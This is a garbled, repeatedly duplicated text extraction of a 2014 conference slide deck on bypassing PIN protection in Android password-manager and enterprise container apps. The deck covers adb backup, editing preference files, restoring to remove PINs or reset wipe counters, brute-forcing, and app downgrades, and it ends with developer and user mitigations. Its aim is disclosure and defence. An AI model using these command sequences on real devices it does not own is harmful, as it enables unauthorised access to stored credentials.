Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 112: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 113: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

